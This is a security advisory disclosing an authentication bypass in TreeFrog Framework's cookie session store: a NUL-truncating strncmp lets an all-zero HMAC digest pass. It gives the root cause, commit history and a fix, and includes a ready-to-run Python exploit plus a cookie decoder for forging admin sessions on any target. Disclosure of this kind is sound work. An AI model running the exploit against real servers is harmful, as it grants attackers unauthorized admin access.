| Beschreibung | Vulnerability Title: Authentication Bypass via Session Cookie Forgery in TreeFrog Framework
Vendor: treefrogframework (https://github.com/treefrogframework/treefrog-framework)
Product: TreeFrog Framework
Language: C++ / Qt
Affected versions: 2.9.0 through 2.11.2 (inclusive)
Latest confirmed vulnerable: 2.11.2 (current release as of 2026-06-29)
Researcher: Theodosis Paidakis
Type: Improper Verification of Cryptographic Signature
CWE: CWE-347
CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 4.0 score: 9.2 (Critical)
Authentication required: None
Precondition: Application must use Session.StoreType=cookie in application.ini
SUMMARY
The cookie session store in TreeFrog Framework uses std::strncmp to verify
HMAC-SHA3-256 session cookie digests. std::strncmp is a C string comparison
function that stops at the first NUL byte (0x00). HMAC-SHA3-256 produces raw
binary output, so roughly 1 in 256 digests has 0x00 as its first byte. When
that is the case, strncmp returns 0 immediately regardless of the remaining
31 bytes. An attacker who submits a forged cookie with an all-zero 32-byte
digest passes the HMAC check whenever the server-computed HMAC for that
payload also starts with 0x00.
By varying a nonce field inside the session payload, the attacker will find
such a payload in average of 256 HTTP requests. The server accepts that payload
with the all-zero forged digest as a valid authenticated session. The attack
needs no credentials and no knowledge of the server secret.
Confirmed against TreeFrog 2.11.2: full user/admin session forged from zero
credentials in under 300 requests most of the time.
ROOT CAUSE
File: src/tglobal.h, line 247
inline bool strcmp(const QByteArray &str1, const QByteArray &str2)
{
return str1.length() == str2.length() &&
!std::strncmp(str1.data(), str2.data(), str1.length());
}
std::strncmp treats its arguments as NUL-terminated C strings. A 32-byte
HMAC-SHA3-256 digest is raw binary data, not a C string.
File: src/tsessioncookiestore.cpp, lines 80-91
QByteArray ba = QByteArray::fromBase64(data);
QByteArray digest = QMessageAuthenticationCode::hash(
ba, sessionSecret(), QCryptographicHash::Sha3_256);
if (!Tf::strcmp(digest, QByteArray::fromBase64(dgstr))) {
tSystemWarn("Recieved a tampered cookie or ...");
return session;
}
ba = Tf::lz4Uncompress(ba);
QDataStream ds(&ba, QIODevice::ReadOnly);
ds >> *static_cast<QVariantMap *>(&session);
Tf::strcmp returns true on a match, so the rejection branch fires when
!Tf::strcmp is true, i.e. when the comparison fails. When digest[0] is 0x00
and the attacker's submitted digest also starts with 0x00, strncmp returns 0
at the first byte, Tf::strcmp returns true, !true is false, and the rejection
branch is skipped. The server then decompresses and deserializes the
attacker's payload as the active session.
INTRODUCTION DATE
Commit 2673eaba9 (2023-02-04, "use strncmp for qbytearray comparison")
introduced the vulnerability by replacing QByteArray::operator!= with
Tf::strcmp backed by std::strncmp.
Before that commit the comparison was:
if (digest != QByteArray::fromBase64(dgstr)) {
Qt's QByteArray::operator!= performs a full binary comparison regardless of
NUL bytes. It was safe.
Seven days earlier, commit c300b6b6 (2023-01-28) upgraded the signing
algorithm from HMAC-SHA1 to HMAC-SHA3-256. SHA3-256 produces uniformly
distributed binary output, so the NUL truncation became exploitable the
moment commit 2673eaba9 landed. Versions before 2.9.0 used operator!= and
are not affected.
PROOF OF CONCEPT
The following Python script (requires: pip install lz4 requests) performs the
blind unauthenticated attack. It accepts command-line arguments and is modular enough to run
against any TreeFrog implementation.
Identifying the arguments for an unknown target:
1) Cookie name (--cookie): Log in as any user and see the session cookie name in the response. Default is TFSESSION.
2) Protected endpoint (--endpoint): Find a URL that returns 401/403 without a
session and 200 with one.
Session field names (--field): These are values the attacker injects into the
forged session cookie to impersonate the target account. --field role=admin for example, tells the server to treat
the request as an admin. To find field names, log in as any user,
take the left part of the session cookie before the underscore, and run the
decoder below. If no login is available, try role=admin and user_id=1. Most
TreeFrog apps use this structure because the framework documentation does.
Decoder (left part of cookie, before the underscore):
python3 -c "
import base64,struct;import lz4.block as lz4
d=lz4.decompress(base64.b64decode('PASTE_LEFT_PART==')[4:],uncompressed_size=65536);p=[0]
def u(): v=struct.unpack_from('>I',d,p[0])[0]; p[0]+=4; return v
def s(): n=u(); r=d[p[0]:p[0]+n].decode('utf-16-be'); p[0]+=n; return r
for _ in range(u()):
k=s(); t=u(); p[0]+=1
if t==2: v=struct.unpack_from('>i',d,p[0])[0]; p[0]+=4
elif t==10: v=s()
elif t==12: n=u(); v=d[p[0]:p[0]+n].hex(); p[0]+=n
print(k,'=',v)
"
Usage:
python3 poc.py --url http://target --endpoint /admin \
--cookie TFSESSION --field role=admin --field user_id=1
The script serializes session fields into a QDataStream QVariantMap,
LZ4-compresses them, appends an all-zero 32-byte HMAC digest, and probes
the endpoint with each nonce until the server returns 200. Prints the full
winning cookie on success.
poc.py:
import argparse, base64, random, struct, sys
import requests
try:
import lz4.block as lz4
except ImportError:
sys.exit("pip install lz4 requests")
def _qs(s):
b = s.encode("utf-16-be"); return struct.pack(">I", len(b)) + b
def _qv(v):
if isinstance(v, int):
return struct.pack(">IBI", 2, 0, 0)[:5] + struct.pack(">i", v)
b = v.encode("utf-16-be")
return struct.pack(">IB", 10, 0) + struct.pack(">I", len(b)) + b
def serialize(fields):
out = struct.pack(">I", len(fields))
for k in sorted(fields): out += _qs(k) + _qv(fields[k])
return out
def build_cookie(fields, nonce):
data = serialize({**fields, "_nonce": nonce})
cdata = lz4.compress(data, store_size=False)
framed = struct.pack("<i", len(cdata)) + cdata
return base64.b64encode(framed).decode() + "_" + base64.b64encode(bytes(32)).decode()
def parse_field(s):
k, _, v = s.partition("=")
try: return k.strip(), int(v)
except: return k.strip(), v
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--endpoint", required=True)
ap.add_argument("--cookie", default="TFSESSION")
ap.add_argument("--field", dest="fields", action="append",
type=parse_field, metavar="KEY=VALUE")
ap.add_argument("--max-attempts", type=int, default=100000)
args = ap.parse_args()
target = args.url.rstrip("/") + args.endpoint
fields = dict(args.fields) if args.fields else {"role": "admin", "user_id": 1}
print(f"target: {target}\nfields: {fields}\n")
gate = requests.get(target, timeout=10, allow_redirects=False)
gate_status = gate.status_code
print(f"[gate] {gate_status}")
if gate_status == 200:
print("WARNING: endpoint returned 200 without a session.")
print(" Use an endpoint that returns 401, 403.\n")
nonces = list(range(args.max_attempts))
random.shuffle(nonces)
for i, nonce in enumerate(nonces):
cookie = build_cookie(fields, nonce)
r = requests.get(target, cookies={args.cookie: cookie}, timeout=10, allow_redirects=False)
if i < 3 or i % 50 == 0 or r.status_code == 200:
print(f"[{i+1:>4}] nonce={nonce} -> {r.status_code}"
+ (" BYPASS" if r.status_code == 200 else ""))
if r.status_code == 200:
if gate_status == 200:
print("FALSE POSITIVE: gate was open before attack."); break
print(f"\n{args.cookie}={cookie}")
try: print(r.json())
except: print(r.text[:300])
break
IMPACT
An unauthenticated remote attacker can forge an arbitrary session and elevate
to any role, impersonate any user ID, or overwrite the CSRF token (_csrfId)
to bypass CSRF protection as well. The attack requires no account on the
target and no knowledge of the server secret. It completes in average of
256 HTTP requests. The forged session is indistinguishable from a
legitimately issued one.
SOLUTION
Replace std::strncmp with a NUL-safe binary comparison in src/tglobal.h,
line 247:
inline bool strcmp(const QByteArray &str1, const QByteArray &str2)
{
if (str1.size() != str2.size()) return false;
return QCryptographicHash::equal(str1, str2); // Qt 6.6+, constant-time
}
For Qt versions before 6.6, use CRYPTO_memcmp from OpenSSL or a
constant-time byte comparison loop. Restoring the original
QByteArray::operator!= from before commit 2673eaba9 would also fix the issue.
|
|---|